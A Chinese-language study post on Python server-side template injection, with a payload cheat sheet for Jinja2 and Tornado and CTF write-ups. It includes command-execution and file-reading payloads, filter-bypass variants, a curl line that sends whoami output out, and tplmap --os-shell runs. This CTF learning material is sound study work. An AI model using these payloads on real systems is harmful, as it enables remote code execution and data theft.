上次大概了解了一些ssti漏洞的整体知识 今天解决ssti的python部分
1.jinja2
Jinja2是一个Python模板引擎,功能比较类似于PHP的smarty,J2ee的Freemarker和velocity。 它能完全支持uniocode,并具有集成的沙箱执行环境,应用广泛。jinja2使用BSD授权。 jinja2是Flask作者开发的一个模板系统,它提供一种将数据和模板结合在一起,以生成动态文本的方法。它能够生成具有清晰而简洁的结构、更易读取的网页代码。
Jinja2使用可扩展模板语言,并带有一组便捷的属性和函数来控制复杂的小部件,以及可读性和可维护性良好的模板功能。它具有可扩展的结构,可以给模板定义自己的工具集,并允许模板之间创建关系。Jinja2具有自定义块和过滤器。
Jinja2支持完全可定制的模板来格式化输出,允许开发人员使用动态 HTML、XML和JSON模板。它还支持对密码字符串的转换、对只包含数字的HTML实体的转换以及模板变量的安全替换。
此外,Jinja2通过提供可以重用的功能使内容易维护,并允许生成复杂模板代码而不降低可读性和可维护性。可以把模板加载到主机/客户端,也可以把它们保存到数据库中,并且可以使用其他技术来组合模板,从而更加灵活地创建复杂的页面结构。
前端开发人员经常使用Jinja2来通过增加可重用支持减少维护成本,并且可以针对不同的客户端特性生成动态页面。
它可以把各种模板文件格式转换为标准的Web格式,表示所有可能的输入项。因此,可以通过Jinja2轻松地渲染内容,使之更加符合用户的需求。
其中的BSD授权
jinja2中存在三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。
inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。
被两个括号包裹的内容会输出其表达式的值
由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:
__dict__ :保存类实例或对象实例的属性变量键值对字典
__class__ :返回一个实例所属的类
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__ :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组 // __base__和__mro__都是用来寻找基类的
__subclasses__ :以列表返回类的子类
__init__ :类的初始化方法
__globals__ :对包含函数全局变量的字典的引用__builtin__&&__builtins__ :python中可以直接运行一些函数,例如int(),list()等等。 这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__) 在py3中__builtin__被换成了builtin 1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。 2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
基础绕过的payload:
获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()
绕过waf的payload:
过滤[
#getitem、pop ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read() ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
过滤引号
#chr函数 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd #命令执行 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤下划线
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
过滤花括号
#用{%%}标记 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
2.tornado
Tornado我们在 FriendFeed 的 Web 服务器及其常用工具的开源版本。Tornado 是非阻塞式服务器,而且速度相当快。得利于其 非阻塞的方式和对epoll的运用,Tornado 每秒可以处理数以千计的连接,因此 Tornado 是实时 Web 服务的一个理想框架
Tornado 大致提供了三种不同的组件:
1.Web 框架
2.HTTP 服务端以及客户端
3.异步的网络框架,可以用来实现其他网络协议
简单介绍一下异步网络框架
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
tornado的一些payload可以直接参考jinja2的
3.Djando
基于 Python 语言的 Web 框架有很多,Django 框架是其中应用范围最广、性能最优异、最具发展前景的一款。Django是一个开放源代码的web应用框架,由Python写成。采用了MTV的框架模式,即模型M,视图V和模版T。
没找到什么关于这个框架的payload以及其他知识
总结
python里的运用最多的应该就是flask模板注入 也可以直接用tplmap自动化注入来找到ssti的注入点
payload :
python2
1.{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
2.{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
3.{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
4.{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
5.{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}
6.{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
python3
1.{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
2.{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
下面来看题:
[护网杯 2018]easy_tornado
打开题目
发现有三个文件
第一个文件
说flag在fllllllllllag里
第二个文件 因为render是tornado里的一个渲染函数 可以生成html模板
而且在第二个文件的url里发现有一个 filehash
第三个文件hint.txt告诉我们 filename被md5加密了 我们需要找到cookie_secret
在flag.txt的网址里把flag改成fllllllllllllag发现报错
抓了两个网址的包发现没什么用 那就抓一下返回错误的包
在这里面输入 msg=123发现有回显
输入{{7*7}}发现
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了
根据这些输入一下看看 ?msg={{handler.settings}}
发现找到了'cookie_secret': '02d8e2a8-bcd8-4232-bd2c-c77e7cb143f3'
在按照hint.txt的提示 把他和filename md5加密 这里直接手动加密就可以了
filename=/fllllllllllllag&filehash=md5(02d8e2a8-bcd8-4232-bd2c-c77e7cb143f3+md5(/fllllllllllllag))
/fllllllllllllag的md5加密--3bf9f6cf685a6dd8defadabfb41a03a1
filehash= b3011a00d80ef7b0ddfea95e8554b1b6
所以最后构造的payload
?filename=/fllllllllllllag&filehash= b3011a00d80ef7b0ddfea95e8554b1b6
得到flag
这道题考的重点就是torando的handler.settings 找到cookie_secret
bugku simple_SSTI_1
打开题目 他说你需要传入一个名叫flag的参数
查看一下源代码
有一句<!-- You know, in the flask, We often set a secret_key variable.-->
意思是 你知道 在flask框架我们经常设置一个secret_key的变量
查阅资料发现 secret_key是config.py文件配置里的配置变量 并且是大写格式
发现是存在ssti注入点的 构造payload ?flag={{config.SECRET_KEY}}
得到flag
bugku simple_SSTI_2
打开题目和他的1是一样的 但是不同点是原代码没有提示
输入/?flag={{cat /flag}}
发现了jinja2的页面 说明这道题是jnja2模板
利用tplmap进行注入 这里需要注意一点 tplmap用的是python2 不是python3 不然会报错
python2 tplmap.py -u "http://114.67.175.224:10713/?flag=" 进行注入 发现了注入点
python2 tplmap.py -u "http://114.67.175.224:10713/?flag=" --os-shell 获取shell 进行命令 ls 发现了flag文件 直接cat flag 得到flag
第二种做法
手注
先找到注入点
利用命令
config.__class__.__init__.__globals__['os'].popen('ls ../').read() 读取系统文件
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
__init__ 初始化类,返回的类型是function
__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。
open() 方法用于打开一个文件,并返回文件对象
接着往下读取 ?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app').read()}}
发现了flag文件 读取 ?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}
还是用tplmap会简单一些 手注需要你认识这些所有的函数
tplmap支持测试 Mako, Jinja2, Jade, Smarty, Freemarker, Velocity, 和 Twig。 所以用起来很方便
攻防世界Web_python_template_injection
打开题目 先找一下注入点
在url后面直接输入{{7*7}} 发现有回显
直接用tplmap进行注入
python2 tplmap.py -u "http://61.147.171.105:57255/{{7*7}}"
发现是jinja2类型的
接着往下拿shell python2 tplmap.py -u "http://61.147.171.105:57255/{{7*7}}" --os-shell
拿到shell之后 ls 发现了fl4g 直接cat 拿到flag
buuctf [BJDCTF2020]The mystery of ip
打开题目
发现flag页面 点开 发现了自己的ip
看一下hint页面 发现没什么东西 看一下源代码
他问你知道为什么我知道你的IP吗 估计要伪造本地登录了 抓包试试
伪造 X-Forwarded-For:127.0.0.1 发现也没什么不同 只是ip变化了
再X-Forwarded-For:123 发现ip跟着变化 那可能是ssti注入了
输入X-Forwarded-For:{{7*7}} 回显49 确认是ssti注入
X-Forwarded-For:{{system('ls')}} 查看目录
查看 flag.php
发现没东西
直接 cat /flag 得到flag
[WesternCTF2018]shrine
打开题目
发现是flask框架 看源码app.config['FLAG'] = os.environ.pop('FLAG')推测{undefined{config}}可查看所有app.config内容 先用tplmap扫描一下试试
通过源码 找到了shrine路径 并找到注入点
发现无法用tplmap进行注入
进行正常注入 发现他设置了黑名单 config 以及self
这里涉及到一个新的知识点--python沙箱逃逸
先来了解一下沙箱
Sandbox(沙箱)是指一种技术,在这种技术中,软件运行在操作系统受限制的环境中。由于该软件在受限制的环境中运行,即使一个闯入该软件的入侵者也不能无限制访问操作系统提供设施;获得该软件控制权的黑客造成的损失也是有限的。此外,如果攻击者要获得对操作系统的完全控制,他们就不得不攻克沙箱限制。Sandbox也提供深度防御,许多PaaS系统都提供了一个实时运行环境,它的核心就是一个沙箱应用程序,如Azu re和Google App Engine
沙箱逃逸
沙箱逃逸,就是在一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程
构造payload:{{url_for.__globals__['current_app'].config.FLAG}}
得到flag
分步做法
分析源代码 找到注入点
进行分析源码
app = flask.Flask(__name__) app.config['FLAG']
注册了一个名为FLAG的config,猜测flag在此config中,若不存在过滤,可以使用{undefined{config}}查看app.config中的内容,
但此题设置了黑名单
将黑名单中的字符串替换为空
在这要用到python的内置函数:url_for 和 get_flashed_messages
payload: /shrine/{{url_for.__globals__}}
发现Flask app对应的是current_app.猜测current_app就是当前的app。
得到app的config
payload: /shrine/{{url_for.__globals__['current_app'].config}}
得到flag
这道题的重点就是要了解python的内置函数并且根据题目进行沙箱逃逸